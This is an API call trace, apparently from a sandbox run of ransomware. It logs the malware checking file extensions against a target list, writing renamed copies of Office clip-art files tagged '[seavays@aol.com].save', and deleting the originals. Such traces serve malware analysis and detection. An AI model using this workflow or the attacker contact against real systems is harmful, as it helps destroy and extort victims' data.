lpString2=".WMF") returned 1 [0180.505] lstrlenW (lpString=".xlsx") returned 5 [0180.505] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0180.505] lstrlenW (lpString=".ppt") returned 4 [0180.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0180.505] lstrlenW (lpString=".zip") returned 4 [0180.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.505] lstrlenW (lpString=".rar") returned 4 [0180.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.505] lstrlenW (lpString=".bz2") returned 4 [0180.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.505] lstrlenW (lpString=".7z") returned 3 [0180.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0180.505] lstrlenW (lpString=".dbf") returned 4 [0180.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0180.505] lstrlenW (lpString=".1cd") returned 4 [0180.505] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0180.505] lstrlenW (lpString=".jpg") returned 4 [0180.505] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.506] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0180.506] lstrlenW (lpString="J0151581.WMF") returned 12 [0180.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0180.507] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=10752) returned 1 [0180.507] CloseHandle (hObject=0x520) returned 1 [0180.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf")) returned 0x220 [0180.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0180.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0180.508] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.509] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0180.510] GetLastError () returned 0x0 [0180.510] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x2a00, lpOverlapped=0x0) returned 1 [0180.513] WriteFile (in: hFile=0x388, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x2a10, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2a10, lpOverlapped=0x0) returned 1 [0180.515] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.515] WriteFile (in: hFile=0x388, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.515] SetEndOfFile (hFile=0x388) returned 1 [0180.515] CloseHandle (hObject=0x388) returned 1 [0180.515] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.515] SetEndOfFile (hFile=0x520) returned 1 [0180.520] CloseHandle (hObject=0x520) returned 1 [0180.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0180.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf")) returned 1 [0180.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0180.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0180.529] lstrlenW (lpString=".doc") returned 4 [0180.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.529] lstrlenW (lpString=".docx") returned 5 [0180.529] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0180.529] lstrlenW (lpString=".pdf") returned 4 [0180.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.529] lstrlenW (lpString=".xls") returned 4 [0180.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.529] lstrlenW (lpString=".xlsx") returned 5 [0180.530] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0180.530] lstrlenW (lpString=".ppt") returned 4 [0180.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0180.530] lstrlenW (lpString=".zip") returned 4 [0180.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.530] lstrlenW (lpString=".rar") returned 4 [0180.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.530] lstrlenW (lpString=".bz2") returned 4 [0180.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.530] lstrlenW (lpString=".7z") returned 3 [0180.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0180.530] lstrlenW (lpString=".dbf") returned 4 [0180.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0180.530] lstrlenW (lpString=".1cd") returned 4 [0180.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0180.530] lstrlenW (lpString=".jpg") returned 4 [0180.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0180.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0180.531] lstrlenW (lpString=".doc") returned 4 [0180.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.531] lstrlenW (lpString=".docx") returned 5 [0180.531] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0180.531] lstrlenW (lpString=".pdf") returned 4 [0180.531] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.531] lstrlenW (lpString=".xls") returned 4 [0180.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.531] lstrlenW (lpString=".xlsx") returned 5 [0180.531] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0180.531] lstrlenW (lpString=".ppt") returned 4 [0180.531] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0180.531] lstrlenW (lpString=".zip") returned 4 [0180.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.531] lstrlenW (lpString=".rar") returned 4 [0180.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.531] lstrlenW (lpString=".bz2") returned 4 [0180.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.531] lstrlenW (lpString=".7z") returned 3 [0180.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0180.532] lstrlenW (lpString=".dbf") returned 4 [0180.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0180.532] lstrlenW (lpString=".1cd") returned 4 [0180.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0180.532] lstrlenW (lpString=".jpg") returned 4 [0180.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.532] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0180.532] lstrlenW (lpString="J0152414.WMF") returned 12 [0180.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0180.533] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=24844) returned 1 [0180.534] CloseHandle (hObject=0x520) returned 1 [0180.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf")) returned 0x220 [0180.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0180.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0180.535] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.535] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0180.830] GetLastError () returned 0x0 [0180.830] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x610c, lpOverlapped=0x0) returned 1 [0180.833] WriteFile (in: hFile=0x36c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x6110, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x6110, lpOverlapped=0x0) returned 1 [0180.836] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.836] WriteFile (in: hFile=0x36c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.836] SetEndOfFile (hFile=0x36c) returned 1 [0180.836] CloseHandle (hObject=0x36c) returned 1 [0180.837] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.837] SetEndOfFile (hFile=0x520) returned 1 [0181.035] CloseHandle (hObject=0x520) returned 1 [0181.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0181.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf")) returned 1 [0181.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0181.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0181.037] lstrlenW (lpString=".doc") returned 4 [0181.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.037] lstrlenW (lpString=".docx") returned 5 [0181.038] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0181.038] lstrlenW (lpString=".pdf") returned 4 [0181.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.038] lstrlenW (lpString=".xls") returned 4 [0181.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.038] lstrlenW (lpString=".xlsx") returned 5 [0181.038] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0181.038] lstrlenW (lpString=".ppt") returned 4 [0181.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0181.038] lstrlenW (lpString=".zip") returned 4 [0181.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.038] lstrlenW (lpString=".rar") returned 4 [0181.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.038] lstrlenW (lpString=".bz2") returned 4 [0181.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.038] lstrlenW (lpString=".7z") returned 3 [0181.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0181.038] lstrlenW (lpString=".dbf") returned 4 [0181.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0181.038] lstrlenW (lpString=".1cd") returned 4 [0181.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0181.038] lstrlenW (lpString=".jpg") returned 4 [0181.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0181.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0181.039] lstrlenW (lpString=".doc") returned 4 [0181.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.039] lstrlenW (lpString=".docx") returned 5 [0181.039] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0181.039] lstrlenW (lpString=".pdf") returned 4 [0181.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.039] lstrlenW (lpString=".xls") returned 4 [0181.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.039] lstrlenW (lpString=".xlsx") returned 5 [0181.039] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0181.039] lstrlenW (lpString=".ppt") returned 4 [0181.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0181.039] lstrlenW (lpString=".zip") returned 4 [0181.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.040] lstrlenW (lpString=".rar") returned 4 [0181.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.040] lstrlenW (lpString=".bz2") returned 4 [0181.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.040] lstrlenW (lpString=".7z") returned 3 [0181.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0181.040] lstrlenW (lpString=".dbf") returned 4 [0181.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0181.040] lstrlenW (lpString=".1cd") returned 4 [0181.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0181.040] lstrlenW (lpString=".jpg") returned 4 [0181.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.040] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0181.040] lstrlenW (lpString="J0152556.WMF") returned 12 [0181.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0181.042] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=16432) returned 1 [0181.042] CloseHandle (hObject=0x520) returned 1 [0181.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf")) returned 0x220 [0181.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0181.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0181.043] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.043] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0181.044] GetLastError () returned 0x0 [0181.045] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x4030, lpOverlapped=0x0) returned 1 [0181.046] WriteFile (in: hFile=0x388, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x4040, lpOverlapped=0x0) returned 1 [0181.048] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.048] WriteFile (in: hFile=0x388, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0181.048] SetEndOfFile (hFile=0x388) returned 1 [0181.049] CloseHandle (hObject=0x388) returned 1 [0181.049] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.049] SetEndOfFile (hFile=0x520) returned 1 [0182.104] CloseHandle (hObject=0x520) returned 1 [0182.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf")) returned 1 [0182.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0182.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0182.740] lstrlenW (lpString=".doc") returned 4 [0182.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.740] lstrlenW (lpString=".docx") returned 5 [0182.740] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0182.740] lstrlenW (lpString=".pdf") returned 4 [0182.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.741] lstrlenW (lpString=".xls") returned 4 [0182.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.741] lstrlenW (lpString=".xlsx") returned 5 [0182.741] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0182.741] lstrlenW (lpString=".ppt") returned 4 [0182.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0182.741] lstrlenW (lpString=".zip") returned 4 [0182.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.741] lstrlenW (lpString=".rar") returned 4 [0182.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.741] lstrlenW (lpString=".bz2") returned 4 [0182.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.741] lstrlenW (lpString=".7z") returned 3 [0182.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0182.741] lstrlenW (lpString=".dbf") returned 4 [0182.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0182.742] lstrlenW (lpString=".1cd") returned 4 [0182.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0182.742] lstrlenW (lpString=".jpg") returned 4 [0182.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0182.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0182.742] lstrlenW (lpString=".doc") returned 4 [0182.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.742] lstrlenW (lpString=".docx") returned 5 [0182.742] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0182.742] lstrlenW (lpString=".pdf") returned 4 [0182.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.742] lstrlenW (lpString=".xls") returned 4 [0182.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.742] lstrlenW (lpString=".xlsx") returned 5 [0182.742] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0182.742] lstrlenW (lpString=".ppt") returned 4 [0182.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0182.742] lstrlenW (lpString=".zip") returned 4 [0182.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.742] lstrlenW (lpString=".rar") returned 4 [0182.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.742] lstrlenW (lpString=".bz2") returned 4 [0182.742] lstrcmpiW 